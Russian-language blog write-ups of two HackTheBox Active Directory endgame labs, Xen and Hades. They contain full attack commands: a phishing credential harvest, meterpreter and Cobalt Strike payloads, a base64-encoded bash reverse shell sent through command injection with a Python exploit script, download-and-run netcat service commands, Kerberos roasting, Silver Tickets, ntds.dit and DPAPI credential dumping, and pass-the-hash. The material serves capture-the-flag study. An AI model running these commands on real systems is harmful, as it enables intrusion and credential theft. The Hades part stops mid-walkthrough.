Русский
Русский
English
Статистика
Реклама

Ad

HackTheBox endgame. Прохождение лаборатории Xen. Пентест Active Directory

16.06.2020 22:15:58 | Автор: admin
image

В данной статье разберем прохождение не просто машины, а целой мини-лаборатории с площадки HackTheBox.

Как сказано в описании, Xen предназначен для проверки навыков на всех стадиях атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, скомпрометировать весь домен, собрав при этом 6 флагов.

Посмотреть разбор еще одной лаборатории Professional Offensive Operations можно здесь.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Intro


Данный endgame состоит из 6 машин, и содержит 6 флагов.

image

Так же дается описание и адрес доступного хоста.

image

Начнем!

Breach flag


Данная машина имеет IP адрес 10.13.38.12, который я добавляю в /etc/hosts.
10.13.38.12 xen.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmapом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.12 --rate=500

image

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A xen.htb -p25,80,443

image

Таким образом, мы имеем службы IIS и SMTP. При этом есть возможность как HTTP, так и HTTPS соединения на 80 и 443 портах. Давайте посмотрим веб нас встречают простеньким сайтом.

image

Ничего интересного нет, за исключением ссылки Join the team, указывающей нам адрес электронный почты jointheteam@humongousretail.com.

image

Давайте переберем директории. Я для этого использую gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).
gobuster dir -t 128 -u http://xen.htb/  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,aspx

image

И находим несколько интересных директорий. Код 401 говорит о наличии HTTP аутентификации, давайте посмотрим в сторону remote.

image

Принимаем, и у нас требуют учетные данные.

image

Нам нужны учетные данные. На этом я решил вернуться к SMTP серверу и перебрать имена пользователей (в качестве списка имен советую использовать тот, что предлагает Metasploit). Сделаем это с помощью smtp-user-enum.
smtp-user-enum -M RCPT -U ./namelist.txt -D humongousretail.com -t xen.htb

image

Мы находим 4 адреса электронной почты. Так как мы видим почту IT службы, мы можем отправить от их имени сообщение всем остальным пользователям. Давайте скопируем страницу авторизации remote, сделаем поддельную и разошлем все пользователям поддельный адрес Remote Portal (на самом деле я был очень удивлен, когда оказалось, что это правильный вектор).

Сделать полную копию страницы можно с помощью расширения SingleFile для Firefox. Далее заглянем в исходный код и изменим данные формы. Первым изменим адрес, куда будут присланы учетные данные, я поставил свой хост и 81 порт.

image

И добавим Submit для отправки данных.

image

Теперь запустим netcat для прослушивания 81 порта, активируем веб-сервер и обратимся к измененному файлу, как к index.html.

image

image

Это работает! Давайте выполним рассылку сообщения о изменении адреса портала.

image

Но вот вектор правильный, а исполнение не очень) Так мы полчим данные, но в роботизированном виде на 80 порт.

image

Таким образом собираем все учетки.

image

И теперь заходим на remote.

image

И нам предлагаю сохранить ICA файл.

image

Далее я установил расширение для Chromium.

image

И подключился как pmorgan (VDESKTOP3).

image

image

Аналогично поступаем и с другими пользователями. И awardel находим первый флаг.

image

И сдаем его.

image

И сохраним собранную информацию.



Deploy flag


Можно заметить, что операционные системы не самые новые, поэтому обязательно должны быть эксплоиты. Давайте кинем шелл meterpreter. Сначала создадим нагрузку.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.14.14.9 LPORT=3434 -f exe > s.exe

image

Теперь запустим листенер metasploit.
handler -H 10.14.14.9 -P 3434 -p windows/x64/meterpreter/reverse_tcp

image

Зайдем через браузер на целевой машине, скачаем и запустим нагрузку. В окне Metasploit заметим подключение в первой сессии.

image

image

Теперь перечислим все эксплоиты для LPE.

image

И есть несколько. Давайте воспользуемся первым, он позволит получить контекст system. Запустим новый листенер.

image

И используем эксплоит.

image

Открывается вторая сессия в контексте SYSTEM.

image

Давайте проверим флаг.

image

И забираем его.





Вот так легко сдаем еще один флаг. Идем далее.

Ghost flag


Для дальнейшей разведки удобно использовать PowerShell, а еще удобней работать через PowerShell Empire (про который я писал тут). Давайте откроем сессию, для этого сперва создадим листенер http и PS лаунчер для него.
> listeners> uselistener http> set Host 10.14.14.9> set Port 5656> execute> back> launcher powershell http



Сохраним лаунчер в файл s.ps1. Для запуска его из памяти через meterpreter нужно загрузить модуль powershell.



И выполним powershell_import.



В окне Empire обнаружим созданный агент.



Для удобной работы переименуем его по названию рабочей станции и перейдем в интерактивный режим.





Для разведки нам нужно определить контроллер домена. Сделаем это с помощью одного прекрасного модуля get_domain_controller из раздела situational_awareness.
> usemodule situational_awareness/network/powerview/get_domain_controller> run



Так мы получаем информацию о контроллере домена. Теперь давайте перечислим пользователей домена. На данном этапе мне нужно получить имена учетных записей и значение свойства AdminCount, чтобы сразу определить привилегированных пользователей.
> usemodule situational_awareness/network/powerview/get_user> set Server DC.htb.local> set Properties samaccountname,admincount> run



Давайте сразу проверим SPN имена, чтобы определить возможность атаки Kerberoasting.
> usemodule situational_awareness/network/powerview/get_user> set Server DC.htb.local> set Properties serviceprincipalname> run



И есть SPN! Давайте выполним Kerberoasting с помощью того же Empire. Укажем формат вывода hashcat.
> usemodule credentials/invoke_kerberoast> set OutputFormat Hashcat> run



И получаем хеш пользователя. Теперь переберем с помощью hashcat.
hashcat -m 13100 -a 0 krb.hash rockyou.txt --force

В словаре rockyou данный пароль не обнаружен, поэтому я поставил перебор по всем словарям из Seclists. Но этот вариант тоже потерпел неудачу. Последний вариант воспользоваться NSA правилами.



Как представлено в репозитории, dive лучший вариант, поэтому используем его вторую версию.
hashcat -m 13100 krb.hash rockyou.txt -r nsa-rules/_NSAKEY.v2.dive.rule -debug-mode=1 -debug-file=rule.txt -d 2



И мы получаем пароль данного пользователя. Для дальнейшего продвижения давайте просканируем локальную сеть. Лучше всего это сделать с помощью с помощью ARP сканирования, так как ICMP может быт заблокирован. В этом нам поможет модуль arpscan.Мы знаем адрес и маску сети, поэтому зададим диапазон хостов.
> usemodule situational_awareness/network/arpscan> set Range 172.16.249.0-172.16.249.255> run



Так Из этого списка мы не знаем два хоста: 201 и 202. Давайте проверим общие ресурсы в домене. Из параметров нам нужен только адрес контроллера домена.
> usemodule situational_awareness/network/powerview/share_finder> set Server DC.htb.local> run



С каждым сканированием наше представление о сети расширяется, давайте узнаем, что за хост CITRIX.htb.local.



Ниже представлена аккумулируемая нами информация.



Чтобы взаимодействовать с ресурсами во внутренней сети, нам необходимо настроить туннель. Сделаем это в активной сессии meterpreter с помощью команды autoroute, а в качестве параметра укажем адрес внутренней сети и маску (с параметром -p можем проверить активные маршруты).
run autoroute -s 172.16.249.0/24 



Теперь, когда мы добавили маршрут к целевой сети, мы воспользуемся вспомогательным средством socks4a изнутри платформы. Вспомогательный модуль auxiliary/server/socks4a предоставляет прокси-сервер, который использует инфраструктуру маршрутизации Metasploit, которую мы создали для ретрансляции соединений.



А в качестве клиента-перенаправителя используем proxychains. Изменим его конфиг /etc/proxychains.conf, указав порт, установленный metasploit (порт по умолчанию 1080).



И для найденного пользователя доступна для чтения директория Citrix$. Так как proxychains выводит информацию о подключении, уберем ее с помощью перенаправления 2>/dev/null.
proxychains cme smb -u mturner -p '4install!' -d htb.local 172.16.249.201 --share "Citrix$" --shares 2>/dev/null



Давайте посмотрим все, что нам доступно на этом ресурсе.
proxychains smbmap -u mturner -p '4install!' -d htb.local -H 172.16.249.201 -R 2>/dev/null



И мы находим флаг, а также ppk файл. Давайте получим все файлы.
sudo proxychains smbclient //172.16.249.201/Citrix$ -U htb.local\\mturner%4install!



При подключении получаем ошибку, устранить которую можно указав опцию client min protocol.
sudo proxychains smbclient //172.16.249.201/Citrix$ -U htb.local\\mturner%4install! --option='client min protocol=NT1' 2>/dev/null



И сдадим флаг.





Camouflage flag


Давайте разберемся с приватным ключем Putty.



Данный приватный ключ зашифрован и предназначен для авторизации по SSH. Давайте переберем пароль, предназначенный для расшифрования ключа. Для этого сперва переформатируем ключ в john формат.



Но перебрать по стандартным словарям не вышло, и мне подсказали отличный инструмен генерации удобно набираемых паролей kwprocessor. Давайте создадим словарь.
./kwp -o key-dict.txt basechars/tiny.base keymaps/en.keymap routes/2-to-32-max-5-direction-changes.route




И мы успешно нашли 16-символьный пароль.
john --wordlist=./kwprocessor/key-dict.txt putty.john



Так как у меня Linux, мне удобней работать с обычным SSH клиентом. Переформатируем ключ в данный формат.
sudo apt install putty-toolsputtygen private.ppk -O private-openssh -o id_rsa

Теперь определимся, куда мы с ним можем попасть. Для этого просканировал внутреннюю сеть, чтобы найти открытый 22 порт.
proxychains nmap -p22 172.16.249.200-205 2>/dev/null



И находим, но об этом хосте мы еще ничего не знаем. Попытавшись подключиться без имени, получаем интересное сообщение и запрос пароля.



Перебор по именам известных нам пользователей результата не принес. Сканирование nmap данного сервиса с использованием скриптов тоже ничего не дало.



Тогда я просканировал все порты на хосте. Но дожидаться конца сканирования не стал, так как оно шло очень долго, благо в информации proxychains можно было наблюдать, доступен порт или нет.



Так как был доступен 80 порт, я установил прокси в браузере и зашел посмотреть что там.



Нас встречает страница авторизации Citrix NetScaler. И гугл выводит нас на документацию, в которой мы узнаем логин по умолчанию.





И с данным логин мы успешно подключаем по SSH.



Побродив на сервере, я посмотрел материалы по атакам на подобный вид оборудования, одной из которых является мониторинг трафика. Таким образом, я оставил активный на некоторое время tcpdump и получил дамп трафика.
tcpdump -s0 -w r.pcap



Теперь скачаем данный файл.
proxychains scp -i id_rsa nsroot@172.16.249.202:/root/r.pcap ./

И для быстрого поиска учетных данных используем PCredz.



И получаем еще флаг.



Doppelganger flag


Но данная программа смотрит не все, поэтому необходимо проанализировать дамп на наличие различных секретов или токенов. Отсортировав пакеты по протоколу, добираемся до LDAP и находим bindRequestы двух пользователей, в которых есть пароль (один мы уже нашли).





Проверим этот пароль для данного пользователя.
proxychains cme smb -u "netscaler-svc" -p "#S3rvice#@cc" -d htb.local 172.16.249.200 2>/dev/null



Данный пользователь ничем не примечателен, кроме того, что это пользователь службы. Часто пароли таких пользователей совпадают с паролями других пользователей домена. Давайте проверим, каким еще пользователям подойдет данный пароль. Я сделал это с помощью metasploit.
proxychains msfconsole 2>/dev/null> use auxiliary/scanner/smb/smb_login> set SMBDomain htb.local> set RHOSTS 172.16.249.200> set USER_FILE ~/tmp/users.txt> set PASS_FILE ~/tmp/passwords.txt> set VERBOSE false> run



И данный пароль подошел ко всем учетным записям служб. Как мы выяснили ранее, учетная запись backup-svc является привилегированной, а это значит, что для нее разрешен вход на контроллер домена. Проверим открытые порты RDP (3389) и WinRM (5985) служб.
proxychains nmap -p 3389,5985 172.16.249.200 2>/dev/null



Оба метода входа возможны, но я предпочитаю WinRM. Выполним вход с помощью программы Evil-WinRM.
proxychains evil-winrm -i 172.16.249.200 -u backup-svc -p "#S3rvice#@cc" 2>/dev/null



И забираем еще один флаг.



Owned flag


Посмотрев информацию о данном пользователе, видим его членство в привилегированных группах, благодаря чему мы можем выполнить копирование файла ntds.dit и извлечб учетные данные пользователей домена.
whoami /all



Из методов дампа файла ntds успешно выполняется вариант с discshadow. Давайте авторизуемся по RDP. В качестве клиента я использую remmina.
proxychains remmina





И нас встречает окно командной строки.



Войдем в контекст diskshadow.



И создадим копию диск Z.
set context persistence nowritersadd volume c: alias ssscreate expose %sss% z:



Проверим, и увидим копию файла ntds.dit.



Еще нам нужен файл System, чтобы расшифровать базу ntds, но его получить легче.
reg.exe save hklm\system C:\Users\backup-svc\Documents\system.bak



Но это еще не все, ведь просто так файл ntds не скопировать. Для этого используем следующий инструмент. Для начала загружаем на хост обе DLL.



И загружаем в память.



Теперь активируем себе привелегию и проверим, что она в состоянии Enabled.
Set-SeBackupPrivilegeWhoami /priv | findstr Backup



Отлично, теперь копируем файл.
Copy-FileSeBackupPrivilege z:\windows\ntds\ntds.dit C:\Users\backup-svc\Documents\ntds.dit

А теперь скачиваем на локальный хост файлы ntds и system (и именно в этот момент лаборатория закрывается и я теряю доступ, прям во время загрузки файлов Оказалось, что лаборатория стала доступна только пользователям с подпиской (ушла на дорешивание) и я не могу закончить прохождение! Но большое спасибо @kemstat, что поделился на время ВИП конфигом ВПН, дабы я дописал данное прохождение). Давайте достанем учетные данные.
secretsdump.py -ntds ndts.dit -system system.bak LOCAL



И есть хеш администратора. Теперь используем атаку PTH для подключения к серверу. Но psexec (подключение через SMB) не дает нам прочитать файл.





А вот WMI дает нам неограниченный доступ и мы получаем привилении администратора домена и последний флаг.
proxychains wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:822601ccd7155f47cd955b94af1558be Administrator@172.16.249.200 2>/dev/null



Вот и все. В качестве обратной связи, прокомментируйте узнали ли Вы что-то новое из данной статьи и была ли она Вам полезна.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

HackTheBox endgame. Прохождение лаборатории Hades. Пентест Active Directory

29.12.2020 00:19:38 | Автор: admin


В данной статье разберем прохождение не просто машины, а целой мини-лаборатории с площадки HackTheBox.

Как сказано в описании, Hades предназначен для проверки навыков на всех стадиях атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, скомпрометировать весь домен, собрав при этом 7 флагов.

Посмотреть разборы других лабораторий:
1.Professional Offensive Operations.
2.XEN.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Intro


Данный endgame состоит из 3 машин, и содержит 7 флагов.
1. Chasm flag RCE (command injection) + Initial Access;
2. Guardian flag Enumeration + ASREP Roasting;
3. Messenger flag Printer Bug + Silver Ticket + Service Control
4. Resurrection flag Creds Access and Dumping
5. Gateway flag BloodHound + Control account
6. Celestial flag ADIDNS + Responder
7. Dominion flag Lateral Movement



Так же дается описание и адрес доступного хоста.



Начнем!

Chasm flag


Данная машина имеет IP адрес 10.13.38.16, который я добавляю в /etc/hosts.
10.13.38.16 hades.htb

Первым делом сканируем открытые порты. Для этого я использую следующий скрипт, который проведет сканирование со скоростью 500 пакетов в секунду с помощью nmap, и определит отвечающие порты, после чего мы используем для этих портов встроенные скрипты nmap (опция -А).
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



И у нас открыт только 443 порт, отвечающий за соединение по протоколу HTTPS. Осмотревшись на сайте, отметим только домен gigantichosting.com и интересный сервис Certificate Checker.



Данный сервис просит указать IP адрес, причем происходит вывод (скорее всего) из командной строки. Давайте откроем у себя порт c использованием SSL и посмотрим входящий запрос. Для этого запустим ncat и обратимся к своему IP.



Давайте проверим, используется ли командная строка. Для этого в обращении к директории на нашем сервере вставим вложенную команду.
10.14.14.4:554/$(whoami)


И получаем имя пользователя, значит присутствует OS Command Injection! Давайте попробуем кинуть реверс шелл. Для этого будем использовать простой bash reverse-shell:
bash -i >& /dev/tcp/10.14.14.4/4321 0>&1

Но чтобы избежать неудобных символов, закодируем его в base64.



На стороне сервера нужно будет выполнить команду декодирования и передачи вывода в bash. При этом, вместо пробелов будем использовать конструкцию ${IFS}.
echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash

Давайте откроем порт для прослушивания и выполним запрос.
10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)



Таким образом, мы получаем бэкконнект. Но так как это лаборатория и шелл нестабильный, давайте напишем скрипт, запуская который мы будем легко создавать новый бэкконнект (это лишь для удобства). Все необходимые для этого данные возьмем из браузера.



Создадим python скрипт.
import requestsimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)payload = "10.13.38.16/$(echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC40LzQzMjEgMD4mMQo=|base64${IFS}-d|bash)"params = {'name': payload}response = requests.post(url='https://10.13.38.16/ssltools/certificate.php', data=params, verify=False)

А теперь попробуем в качестве нагрузки использовать meterpreter. Давайте сначала сгенерируем пэйлоад.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.14.14.4 LPORT=4321 -f elf -o r.elf



Теперь используем конструкцию следующего вида. Мы кодируем наш файл в base64.



На стороне сервера, это нужно будет декодировать и записать в файл, после чего присвоить право на исполнение и выполнить. Все три действия еще раз кодируем в base64, таким образом нагрузка будет удовлетворять условиям нашего эксплоита.
echo "echo $(base64 -w0 r.elf) | base64 -d > /tmp/r ; chmod +x /tmp/r ; exec /tmp/r" | base64 -w0 ; echo



Вставляем данную строку, вместо base64 строки нашей нагрузки в python коде. Далее необходимо запустить листенер.
handler -p linux/x64/meterpreter/reverse_tcp -H 10.14.14.4 -P 4321



И давайте выполним наш эксплоит. Мы сразу увидим активное подключение в окне Metasploit быстро и удобно.



И сразу в текущей директории находим первый флаг.



Таким образом, мы получаем точку опоры на первом хосте.

Guardian flag


Первым делом, перечислим систему, на которую мы попали. Я использую LinPEAS.



Из вывода мы узнаем, что находимся в докер контейнере.



Так же находим еще один хост 192.168.99.1.



Посмотрим информацию о сетевых интерфейсах.



И в своей сети находим еще один хост.



Так как на хосте не было средств сканирования, скачаем скомпилированный с зависимостями nmap здесь и загрузим его на хост.



Далее просканируем два найденных хоста.





Обратившись к 443 порту на 192.168.99.1 получим уже знакомый сайт, откуда был сделан вывод, что именно на 192.168.99.1 развернут докер. Так как больше интересного на данном хосте найдено не было, я перешел к 172.17.0.1. Так как и там 443 порт ответил знакомым сайтом, то это тот же докер. И у нас успешно получается подключиться по ssh с дефолтными учетными данными (docker:tcuser). И сразу переходим к пользователю root.
shellpython3 -c 'import pty;pty.spawn("/bin/bash")'ssh docker@172.17.0.1



Тоже ничего не найдя, переходим к последнему варианту это мониторинг запускаемых процессов и трафика. Давайте скопируем на хост собранные pspy и tcpdump. Среди процессов ничего интересного, а вот в трафике, раз в 5 секунд обнаружим три неизвестных хоста в подсети 192.168.3.0/24.



Вернувшись к первому докеру просканируем подсеть, чтобы найти все хосты. Но находим всего один хост.
/tmp/nmap -sn 192.168.3.0/24



Предположительно работает брэндмауэр, поэтому снова сканируем всю сеть без пинга (-Pn) на наличие частых известных открытых портов.
/tmp/nmap -Pn 192.168.3.0/24 -p53,80,135,139,443,445



И находим три хоста (как и сказано в описании к лаборатории). Давайте просканируем порты на этих хостах.
/tmp/nmap -Pn 192.168.3.201-203



Так мы определили сервисы, а теперь сделаем туннель во внутреннюю сеть. Нам нужно маршрутизировать в сеть 192.168.3.0/24. Укажем это в модуле autoroute, а потом проверим, что маршрут успешно создан.
run autoroute -s 192.168.3.0/24run autoroute -p



Теперь давайте настроим перенаправитель socks4 прокси-сервер. За это отвечает модуль auxiliary/server/socks4a.



И чтобы мы могли использовать любое приложение с данным прокси, настроим proxychains. Для этого изменим файл конфигурации /etc/proxychains.conf.



Теперь мы можем перенаправить трафик любого приложения во внутреннюю сеть, указав proxychains -q. Так как везде доступно SMB, давайте посмотрим версии операционных систем и имена машин с помощью CrackMapExec.
proxychains -q cme smb 192.168.3.201-203



Давайте добавим данные записи в /etc/hosts.
192.168.3.201 dev.htb.local
192.168.3.202 web.htb.local
192.168.3.203 dc1.htb.local

Попробовав поподключаться к различным службам я ничего не получил. Но есть возможность пробрутить имена пользователей, с помощью атаки ASREP Roasting. Дело в том, что мы можем запросить запросить ключ (AS key) керберос данного пользователя, который будет зашифрован с помощью пароля этого пользователя. И если в UAC учетной записи установлен флаг DONT_REQ_PREAUTH (не требуется предварительная проверка подлинности Kerberos), то сервер вернет нам ключ. Но дело в том, что сервер различает ответ данный флаг не установлен и учетная запись не существует. Таким образом мы можем перечислить имена пользователей и там, где нам ответят, что флаг не установлен, мы делаем вывод о существовании такой учетной записи. Сделать это можно с помощью инструмента GetNPUser, входящего в пакет impacket. В качестве словаря используем, Username/names.txt из набора SecLists.
proxychains -q GetNPUsers.py htb.local/ -dc-ip dc1.htb.local -k -no-pass -usersfile ./names.txt | grep -v "Client not found in Kerberos database"



Как же я был удивлен, когда нам вернули ключ пользователя bob (не ожидал)! Плюс ко всему мы нашли еще двух пользователей kalle и lee. Так как ключ зашифрован на пароле пользователя, мы можем его пробрутить.
john --wordlist=./tools/rockyou.txt bob.hash



И мы получаем первую учетную запись! Теперь нужно снова проверить все службы с имеющимися у нас учетными записями. Начнем с общих ресурсов.
proxychains -q cme smb 192.168.3.201-203 -u bob -p "Passw0rd1!" --shares



И у нас есть доступ к некоторым директория на контроллере домена. Давайте рекурсивно отобразим содержимое всех директорий.
proxychains -q smbmap -d htb.local -u bob -p "Passw0rd1!" -H 192.168.3.203 -R



И видим ожидающий нас флаг, что означает еще один пройденный этап. Давайте заберем его.
proxychains -q smbclient.py 'htb.local/bob:Passw0rd1!@192.168.3.203'





Messenger flag


Так как у нас есть учетные данные пользователя, давайте получим информацию о домене.
enum4linux -u bob -p 'Passw0rd1!' -a 10.10.10.192 2>/dev/null









И мы получаем список пользователей, членство их в группах и парольную политику домена. Немного посмотрев дальнейшие векторы атаки, я наткнулся на Printer Bug.
proxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@dc1.htb.local'| grep MS-RPRNproxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@web.htb.local'| grep MS-RPRNproxychains -q rpcdump.py 'htb.local/bob:Passw0rd1!@dev.htb.local' | grep MS-RPRN



Если есть двустороннее доверие, атакующий может использовать ошибку принтера MS-RPRN в домене, чтобы скомпрометировать машину, для которой активно неограниченное делегирование. Ошибка приводит к тому, что атакующий получает информацию об аутентификации, а именно NTLMv1 хеш учетной записи машины.

NTLMv1 хеш позволит нам получить ключ NTLM хеш учетной записи, что даст нам возможность выполнить Pass-The-Hash. Для данной атаки импользуем dementor (или printerbug) и эту инструкцию. Активируем Responder, чтобы отлавливать NTLMv1 хеш.
sudo responder -I tun0 --lm

И выполняем атаку (приведу и dementor и printerbug):
proxychains -q python dementor.py -d htb.local -u bob -p 'Passw0rd1!' 10.14.14.4 192.168.3.201proxychains -q python printerbug.py 'htb.local/bob:Passw0rd1!@dev.htb.local' 10.14.14.4



И в окне респондера получаем желаемый хеш.



Нам нужно конвертировать его в NTLM хеш.
python ntlmv1.py --ntlmv1 DEV$::HTB:D1B8C9047B85C2EAF86329F9B170C1995C9DBC0527CA0413:D1B8C9047B85C2EAF86329F9B170C1995C9DBC0527CA0413:c2f1c6d70a6f5ff9



И вот тут возникли проблемы. Так как перебрать DES ключи заняло бы около 150 дней, а платить на ресурсе crack.sh не хотелось, но нашелся человек, который поделился уже полученным с crack.sh хешем: 4a0cfb13364ac41247295dd31e1b70be.

Давайте создадим Silver Ticket Kerberos для службы CIFS. Для этого нам нужны хеш учетной записи, SID домена, сам домен и имя любого (даже придуманного пользователя). После создания экспортируем билет.
proxychains -q ticketer.py -nthash 4a0cfb13364ac41247295dd31e1b70be -domain-sid S-1-5-21-4266912945-3985045794-2943778634 -domain htb.local -spn cifs/192.168.3.201 ralfexport KRB5CCNAME=ralf.ccache



И мы можем управлять службами с помощью services.py из пакета impacket. Давайте создадим такую службу, которая будет загружать netcat с нашего хоста и выполнять реверс подключение.
proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name task10 -display task10 -path 'curl http://10.14.14.7/nc64.exe -o C:\\Temp\\nc.exe'



Проверим конфигурации созданной службы.
proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 config -name task10



И запустим ее.
proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name task10



Хоть нам и сообщают об ошибке, но в окне веб-сервера видим удачное подключение.



proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 create -name task11 -display task11 -path 'C:\\Temp\\nc.exe -e cmd.exe 10.14.14.7 6543'proxychains -q services.py -dc-ip 192.168.3.203 -k -no-pass 192.168.3.201 start -name task11



И в листенере наблюдаем успешное подключение.



Таким образом мы захватываем первую из трех целевых машин.



Resurrection flag


Но так как это не конец, нужно закрепиться на машине, для чего необходимо получить хоть какие-то учетные данные. Так как мы работаем от имени локального администратора, нам достаточно и хешей, но средства вроде mimikatz и meterpreter блокируются антивирусом. Дабы по понятным причинам не показывать способы криптования нагрузок, я использую простую нагрузку Cobalt Strike без всяких модификаций. Для начала запустим сервер и подключимся к нему.





Теперь необходимо создать листенер.



И вот только сейчас для этого листенера мы собираем нагрузку powershell: Attacks -> Packages -> Payload Generator.



Теперь на целевом хосте перейдем в powershell, скачаем нагрузку и выполним ее.



В окне Cobalt Strike наблюдаем активный сеанс, причем молнии свидетельствуют, что у нас имеются права администратора.



Cobalt принимает все команды поточно, но по умолчанию связь с сервером происходит раз в минуту, поэтому команды попадают в очередь выполнения. Чтобы связь происходила мгновенно и команды выполнялись также потоком, введем команду sleep 0. А затем сдампим хеши.



Ну и в случае чего, мы можем подключиться к хосту через WinRM.
proxychains -q evil-winrm -i dev.htb.local -u Administrator -H 67bb396c79f56301b7dc5d219cc85d86



Ну а мы уже продолжим в Cobalt Strike. Для того, чтобы прочно закрепиться на хосте, давайте выполним инъекцию новой нагрузки в процесс, работающий от имени System. Я выбрал winlogon.exe.







Как можно наблюдать, мы также работаем в контексте System. Чтобы остальные машины домена появились в списке целей Cobalt, давайте выполним сканирование.





И в добавок ко всему, давайте просканируем порты на двух новых хостах, чтобы информация сохранилась в базе Cobalt Strike.







Хост 192.168.3.201 можно удалить из списка, так как мы уже его захватили, но он обозначился как 10.13.38.17. Проведя разведку на хосте, не за что больше уцепиться не вышло. Была идея посмотреть хранилище учетных данных, для того чтобы восстановить сохраненные учетные данные, но оба хранилища оказались пусты.
shell vaultcmd /listshell vaultcmd /listcreds:"Web Credentials"shell vaultcmd /listcreds:"Windows Credentials"



И в конце концов я дошел до пункта теневые копии в своем чеклисте. И тут как раз в точку.





Давайте восстановим учетные данные из файла SAM теневой копии, для этого используем встроенный mimikatz.
mimikatz lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\config\SAM



И пароль администратора легко находим в онлайн базах.



Но и этот пароль для передвижения по сети нигде не подходит. И тогда возникла идея посмотреть те же сохраненные учетные данные в хранилище Windows. Так как мы знаем пароль админа, то его хранилище мы и будем смотреть. На эту тему я уже писал статью.



Зашифрованные данные расположены по следующему пути: \AppData\Roaming\Microsoft\Credentials\. И мы находим два сохраненных значения.



Но для расшифрования нам нужно узнать мастер ключи обоих хранилищ, найти их можно тут: \AppData\Roaming\Microsoft\Protect\\.



Вся дальнейшая работа по восстановлению данных будет производится с помощью mimikatz. Давайте получим мастер ключ (повезло, он был в первом хранилище).
mimikatz dpapi::masterkey /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4124311166-4116374192-336467615-500\87790867-a883-4a2d-a467-019c315e1104" /password:"./*40ra26AZ"



А теперь расшифруем учетный данные.
mimikatz dpapi::cred /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Credentials\1A2572C793495F694F64823A392D4718" /masterkey:"e0b92cbfbeab126231d979377ffd236b2ebd4b0704e2e9229d3ce82bebd144173b9f7160315d5af62289fae50a1fd465100aaf36748b68557e2b05edc25ac4fe"



mimikatz dpapi::cred /in:"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Users\Administrator\AppData\Roaming\Microsoft\Credentials\4A2EEB30EFC7958491B6578D9948EC7F" /masterkey:"e0b92cbfbeab126231d979377ffd236b2ebd4b0704e2e9229d3ce82bebd144173b9f7160315d5af62289fae50a1fd465100aaf36748b68557e2b05edc25ac4fe"



И мы получаем флаг, как факт того, что движемся в верном направлении и учетные данные доменного пользователя службы.

Gateway flag


Для удобства, добавим имеющиеся учетные данные в базу Cobalt Strike.



Теперь, давайте проведем разведку с помощью BloodHound, благо Cobalt позволяет запустить его из памяти.
execute-assembly /home/ralf/tmp/SharpHound.exe -d htb.local --domaincontroller 192.168.3.203 --ldapusername test-svc --ldappassword T3st-S3v!ce-F0r-Pr0d



Вся информация успешно собрана и записана в указанный архив. Давайте скачаем его.





Чтобы посмотреть граф, сначала запустим СУБД Neo4j, а потом bloodhound.



И мы получим следующий граф.



